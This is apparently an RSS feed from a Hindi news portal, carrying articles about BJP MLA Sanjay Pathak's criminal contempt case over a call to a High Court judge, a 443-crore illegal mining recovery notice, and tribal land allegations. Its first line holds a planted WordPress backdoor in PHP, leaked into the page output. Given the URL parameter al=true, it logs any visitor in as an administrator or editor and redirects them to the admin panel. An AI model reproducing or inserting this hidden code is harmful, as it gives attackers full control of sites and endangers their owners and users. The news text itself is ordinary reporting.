// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Sanjay Pathak – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 14 May 2026 09:06:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 जस्टिस को कॉल मामले में बढ़ी हलचल, भाजपा विधायक संजय पाठक आज हाईकोर्ट में होंगे पेश https://pratyushaashakinayikiran.com/?p=219366 Thu, 14 May 2026 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=219366 भोपाल
 मध्यप्रदेश हाईकोर्ट में भाजपा विधायक संजय पाठक से जुड़े जस्टिस को कथित फोन लगाने के मामले में आज एक बार फिर अहम सुनवाई होगी। कोर्ट के निर्देश पर उन्हें अनिवार्य रूप से व्यक्तिगत रूप से उपस्थित होना पड़ेगा। डिवीजन बेंच, चीफ जस्टिस संजीव सचदेवा और जस्टिस विनय सराफ की अध्यक्षता में मामले की सुनवाई करेगी। कोर्ट ने पहले ही विधायक की व्यक्तिगत पेशी से छूट की मांग को खारिज कर दिया था।

क्या है पूरा मामला?
पूरा विवाद 1 सितंबर 2025 को शुरू हुआ था, जब जस्टिस विशाल मिश्रा ने ओपन कोर्ट में बताया था कि एक विधायक द्वारा उनसे संपर्क करने की कोशिश की गई थी। उस समय उनके समक्ष विधायक परिवार से जुड़े खनन मामले की सुनवाई चल रही थी। न्यायिक निष्पक्षता को देखते हुए जस्टिस मिश्रा ने स्वयं को उस केस से अलग कर लिया था।

विधायक का पक्ष
पिछली सुनवाई में संजय पाठक ने हलफनामे में कहा था कि नंबर गलती से डायल हो गया था और कॉल एक ही रिंग में काट दी गई थी। हालांकि कोर्ट ने स्पष्ट किया था कि उनकी व्यक्तिगत उपस्थिति जरूरी है।

गंभीर आरोपों की जांच
कटनी निवासी आशुतोष मनु दीक्षित की याचिका पर कोर्ट ने इसे न्यायपालिका की गरिमा से जुड़ा गंभीर मामला मानते हुए इसे प्रथम दृष्टया आपराधिक अवमानना करार दिया था। इसके बाद कोर्ट ने विधायक के खिलाफ अवमानना की कार्रवाई पर विचार शुरू किया और उन्हें नोटिस जारी किया।

खनन विवाद से जुड़ा मामला
यह पूरा प्रकरण विधायक परिवार से जुड़ी खनन कंपनियों पर कथित अवैध उत्खनन के आरोपों से संबंधित है, जिसकी सुनवाई पहले जस्टिस मिश्रा की बेंच कर रही थी। आज की सुनवाई पर सबकी नजरें टिकी हैं, क्योंकि कोर्ट इस मामले में अगला बड़ा कदम तय कर सकता है।

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मध्यप्रदेश: माफी नहीं काफी! भाजपा विधायक संजय पाठक को कोर्ट में होना होगा हाजिर https://pratyushaashakinayikiran.com/?p=210845 Tue, 07 Apr 2026 12:35:00 +0000 https://pratyushaashakinayikiran.com/?p=210845 जबलपुर

मध्यप्रदेश हाईकोर्ट के मुख्य न्यायाधीश संजीव सचदेवा व जज विनय सराफ की युगलपीठ ने आपराधिक अवमानना केस की सुनवाई करते हुए मध्यप्रदेश के कटनी जिले के विजयराघवगढ़ से भाजपा विधायक संजय पाठक को तलब किया है। कोर्ट ने उन्हें व्यक्तिगत रूप से उपस्थित होने के लिए नोटिस जारी किया है। सुनवाई के दौरान विधायक संजय पाठक की ओर से हलफनामा पेश किया गया, जिसमें उन्होंने अपनी गलती स्वीकार करते हुए बिना शर्त माफी मांगी। कोर्ट ने इस हलफनामे को रिकॉर्ड पर लेते हुए मामले को गंभीरता से लिया और आगे की सुनवाई के लिए व्यक्तिगत पेशी जरूरी बताई।

फोन करने से शुरू हुआ विवाद
कटनी निवासी आशुतोष दीक्षित द्वारा दायर याचिका में उल्लेख किया गया था कि विधायक से संबंधित कंपनी के खिलाफ अवैध उत्खनन के मामले में न्यायमूर्ति विशाल मिश्रा ने एक सितम्बर, 2025 को सुनवाई से इंकार कर दिया था। उन्होंने अपने आदेश में कहा था कि विधायक ने उनसे फोन पर संपर्क करने का प्रयास किया, जिससे निष्पक्षता प्रभावित हो सकती थी।

निष्पक्षता के लिए जज हुए अलग
न्यायमूर्ति विशाल मिश्रा ने मामले की निष्पक्षता बनाए रखने के उद्देश्य से खुद को सुनवाई से अलग कर लिया था। साथ ही उन्होंने पूरे प्रकरण को प्रशासनिक स्तर पर मुख्य न्यायाधीश के समक्ष भेजने के निर्देश भी दिए थे।

आपराधिक अवमानना का केस दर्ज
याचिका में कहा गया कि विधायक का यह कृत्य न्यायपालिका की छवि को धूमिल करने और उसकी गरिमा को ठेस पहुंचाने वाला है। न्यायिक कार्य में हस्तक्षेप आपराधिक अवमानना की श्रेणी में आता है। हाई कोर्ट ने दो अप्रैल को मामले का संज्ञान लेते हुए विधायक के खिलाफ आपराधिक प्रकरण दर्ज करने के निर्देश दिए थे।

मुकुल रोहतगी ने की पैरवी
सुनवाई के दौरान विधायक संजय पाठक की ओर से देश के पूर्व अटार्नी जनरल और वरिष्ठ अधिवक्त मुकुल रोहतगी ने पैरवी की। उन्होंने तर्क दिया कि आपराधिक अवमानना में दंड तभी लागू होता है, जब गलती अक्षम्य हो या व्यक्ति उसे स्वीकार न करे।  

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443 करोड़ वसूली मामले में विधायक संजय पाठक की बढ़ी मुश्किलें, कलेक्टर ने जारी किया अंतिम नोटिस https://pratyushaashakinayikiran.com/?p=209881 Fri, 03 Apr 2026 04:17:00 +0000 https://pratyushaashakinayikiran.com/?p=209881 जबलपुर 
 मध्य प्रदेश की विजयराघवगढ़ विधानसभा से भाजपा विधायक संजय पाठक की मश्किलें बढ़ती नजर आ रही है। 443 करोड़ रुपए की राशि जमा करने में लेट लतीफी की वजह से विधायक संजय पाठक और उनके परिवार से जुड़ी फर्मों को पहले नोटिस जारी किया गया था। लेकिन, इस पर कोई जवाब नहीं दिया गया और न ही राशि जमा नहीं की गई। अब जबलपुर कलेक्टर न्यायालय ने इस मामले में इन फर्मों को आखिरी मौका के साथ समय समाप्ति नोटिस जारी किया है। यदि इस नोटिस का जवाब नहीं दिया गया तो इसके बाद सख्त कार्रवाई (जुर्माना, संपत्ति कुर्की आदि) हो सकती है। 

मामला क्या है?
संजय पाठक और उनके परिवार से जुड़ी फर्मों पर आरोप है कि उन्होंने तय सीमा से काफी अधिक आयरन ओर (लौह अयस्क) का खनन किया। जांच में सामने आया कि करीब 84.57 लाख टन अतिरिक्त खनन हुआ। इसके बदले सरकार को 443 करोड़ 4 लाख 86 हजार रुपए रुपये की राशि वसूलनी है।

तीन फर्मों को जारी किया गया नोटिस

    निर्मला मिनरल्स (परिवार से जुड़ी)
    आनंद माइनिंग कॉर्पोरेशन (परिवार से जुड़ी)
    पेसिफिक एक्सपोर्टर्स (संचालक: सुमित अग्रवाल)  ये सभी फर्म मध्य प्रदेश के सिहोरा क्षेत्र में खनन कार्य कर रही थीं

अभी क्या स्थिति है?
पहले नोटिस का कोई जवाब नहीं दिया गया। न ही राशि जमा की गई। अब जबलपुर कलेक्टर न्यायालय ने अंतिम मौका (Time Expiry Notice) दिया है
नियम क्या कहते हैं?
नियमों के मुताबिक, खनन के लिए पर्यावरण और सरकारी अनुमति जरूरी होती है। तय सीमा से ज्यादा खनन करना गैरकानूनी है। ऐसी स्थिति में सरकार अतिरिक्त खनन की कीमत के साथ जुर्माना वसूलती है।

जांच कैसे हुई?
मामला पहले स्थानीय स्तर पर नहीं पकड़ा गया । शिकायत के बाद राज्य स्तरीय समिति ने जांच की गई जिसके बाद 2004 से 2017 तक के रिकॉर्ड (उत्पादन, अनुमति, पर्यावरण क्लीयरेंस) की जांच हुई । इसमें बड़े पैमाने पर अनियमितता और अतिरिक्त खनन पाया गया ।

आगे क्या हो सकता है?
अगर फर्में पैसा जमा नहीं करतीं हैं तो संपत्ति जब्त हो सकती है  या कानूनी कार्रवाई और केस मजबूत हो सकता है  और अगर जवाब देती हैं तो कोर्ट में अंतिम फैसला होगा।

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बीजेपी विधायक संजय पाठक पर नया संकट, जज को फोन लगाने के मामले में कार्रवाई की मांग https://pratyushaashakinayikiran.com/?p=206223 Fri, 20 Mar 2026 05:26:00 +0000 https://pratyushaashakinayikiran.com/?p=206223 जबलपुर
अवैध उत्खनन मामले में कटनी जिले भाजपा विधायक संजय पाठक की मुश्किलें बढ़ सकती हैं। उन्होंने हाईकोर्ट जज को फोन लगाया था। अब इस मामले में कार्रवाई को लेकर हाईकोर्ट में एक याचिका लगाई गई है। चीफ जस्टिस संजीव सचदेवा और जस्टिस विनय सराफ की युगलपीठ ने याचिका पर प्रारंभिक सुनवाई के बाद अगली सुनवाई 26 मार्च को निर्धारित की है।

जज ने सुनवाई से कर दिया था इनकार
दरअसल, विधायक संजय पाठक से संबंधित कंपनी के अवैध उत्खनन में मामले में हाईकोर्ट जस्टिस विशाल मिश्रा ने 1 सितंबर 2025 को सुनवाई से इनकार कर दिया था। हाईकोर्ट जस्टिस ने अपने आदेश में कहा था कि विधायक ने उनसे फोन पर संपर्क करने का प्रयास किया। जिसके कारण वह सुनवाई से खुद को अगल कर रहे है।

कटनी निवासी ने दायर की है याचिका
वहीं, कटनी निवासी आशुतोष दीक्षित की तरफ से दायर याचिका में कहा गया है कि विधायक संजय पाठक ने हाईकोर्ट के जज से संपर्क करने की कोशिश की थी, जो न्यायिक प्रक्रिया को प्रभावित करने का प्रयास माना जा सकता है। पाठक परिवार से जुड़ी खदानों के मामले की सुनवाई जस्टिस विशाल मिश्रा की अदालत में निर्धारित थी। इसी दौरान 1 सितंबर 2025 को जस्टिस मिश्रा ने स्वयं इस बात का खुलासा किया था कि विधायक ने उनसे संपर्क करने की कोशिश की थी।

केस से खुद को कर लिया अलग
घटना के सामने आने के बाद जस्टिस विशाल मिश्रा ने निष्पक्षता बनाए रखने के उद्देश्य से मामले की सुनवाई से खुद को अलग कर लिया था। उन्होंने इस पूरे प्रकरण को प्रशासनिक स्तर पर चीफ जस्टिस के समक्ष भेजने का निर्देश भी दिया था। यह कदम न्यायपालिका की पारदर्शिता और निष्पक्षता बनाए रखने की दिशा में महत्वपूर्ण माना गया।

याचिकाकर्ता का कहना है कि उन्होंने इस पूरे मामले को लेकर संबंधित अधिकारियों के समक्ष शिकायत भी दर्ज कराई थी, लेकिन अब तक कोई ठोस कार्रवाई नहीं की गई है। इसी कारण उन्होंने हाईकोर्ट में याचिका दाखिल कर विधायक संजय पाठक के खिलाफ उचित कार्रवाई करने की मांग की है। याचिका की सुनवाई के दौरान याचिकाकर्ता की तरफ से अधिवक्ता अरविंद श्रीवास्तव और पुनीत श्रोती उपस्थित रहे।

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विधायक संजय पाठक विवादों में, जमीन केस से जुड़े 4 आदिवासी कर्मचारी गायब https://pratyushaashakinayikiran.com/?p=186957 Fri, 24 Oct 2025 10:56:00 +0000 https://pratyushaashakinayikiran.com/?p=186957 कटनी 
 मध्य प्रदेश के कटनी जिले की विजयराघवगढ़ सीट से बीजेपी विधायक संजय पाठक एक बार फिर विवादों में हैं। उन पर आदिवासियों के नाम पर जमीन खरीदने का गंभीर आरोप लगा है। जानकारी के अनुसार, कटनी, डिंडोरी, उमरिया, जबलपुर और सिवनी जिलों में आदिवासियों के नाम पर 1111 एकड़ जमीन खरीदी गई, लेकिन ये जमीनें कथित रूप से पाठक के चार आदिवासी कर्मचारियों के नाम पर दर्ज की गईं। अब इस मामले में नया मोड़ तब आया जब शिकायतकर्ता दिव्यांशु मिश्रा ‘अंशु’ ने दावा किया कि चारों आदिवासी कर्मचारी लापता जैसी स्थिति में हैं।

आयोग की जांच शुरू

शिकायत के बाद राष्ट्रीय अनुसूचित जनजाति आयोग ने मामले की जांच शुरू कर दी है। प्रशासन ने चारों आदिवासियों से पूछताछ के लिए नोटिस भेजे, लेकिन कोई भी हाजिर नहीं हुआ।

जानकारी के मुताबिक, नत्थू कोल, प्रहलाद कोल, राकेश सिंह गौड़ और रघुराज सिंह गौड़ के नाम नोटिस जारी किए गए थे।

14 अक्टूबर को नोटिस जारी हुआ और 16 अक्टूबर को पेश होने को कहा गया था, लेकिन चारों ही नहीं पहुंचे।

परिजनों ने नोटिस लेने से किया इनकार

जब प्रशासन की टीम प्रहलाद कोल के घर पहुंची तो उसकी बेटी ने बताया कि पिता बाहर गए हैं और मोबाइल बंद है। कुछ परिजनों ने नोटिस लेने से भी इनकार कर दिया। प्रशासन अब चारों के आमदनी के स्रोत, पहचान और बैंक डिटेल्स की जांच कर रहा है।

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